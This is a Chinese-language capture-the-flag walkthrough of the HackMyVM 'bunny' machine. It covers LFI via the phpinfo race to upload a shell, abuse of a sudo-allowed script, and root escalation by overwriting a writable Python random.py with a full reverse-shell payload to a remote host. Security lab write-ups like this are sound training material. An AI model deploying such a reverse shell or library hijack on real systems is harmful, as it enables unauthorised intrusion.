当前位置:网站首页>hackmyvm-bunny walkthrough
hackmyvm-bunny walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
端口信息很少,常规操作,访问80,爆破目录。

upload.php,password.txt,config.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。
能想到的就是index.php是不是存在ssrf。于是利用ffuf对index.php进行参数fuzz,得到参数page为实际请求参数。
由于allow_url_include是off,所以没有办法进行php://input和data协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。
同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现[1],成功上传shell。


切换用户
为了操作方便获取pty,反弹一个shell,查看sudo。
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
很简单切换到用户chris,得到第一个flag。

提权至root
利用pspy64可以看到root每分钟在运行pendu.py。
该文件没做什么事情,但是引入了random。

从图中可以看到random是可以修改的。于是将random改成一个反弹shell。
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限。
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
- What are the PHP framework?
- 每日五道面试题总结 22/7/26
- Kali install IDEA
- Solve the problem of uni - app packaged H5 website to download image
- PHP image compression to specified size
- uniapp | 使用npm update更新后编译报错问题
- 14. JS Statements and Comments, Variables and Data Types
- js 原型和原型链
- 阿里云设置域名解析重定向后,无法使用Chrome访问
- PHP8.2中字符串变量解析的新用法
猜你喜欢

What are the PHP framework?

uniapp | 使用npm update更新后编译报错问题
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库

IO流、 编码表、 字符流、 字符缓冲流

PHP入门(自学笔记)

1.6一些今日学习

Several interesting ways to open PHP: from basic to perverted

IP access control: teach you how to implement an IP firewall with PHP

(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合

js eventLoop 事件循环机制
随机推荐
解决uni-app 打包H5网站 下载图片问题
hackmyvm-hopper walkthrough
宝塔邮局邮箱设置成功后能发送不能接收问题处理
Kali install IDEA
1.10今日学习
PHP 发起支付宝支付时 订单信息乱码解决
js 中this指向
Baidu positioning js API
PHP8.2的版本发布管理员和发布计划
JS对象, 函数和作用域
Solve the problem of uni - app packaged H5 website to download image
阿里云MySQL5.7安装以及部分主要问题(总和)
[symfony/mailer]一个优雅易用的发送邮件类库
1.6一些今日学习
js 正则中 replace() 使用
解决5+APP真机测试无法访问后台(同局域网)
[phpunit/php-timer] A timer for code execution time
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
16.JS事件, 字符串和运算符
第一次手撕代码,如何解出全排列问题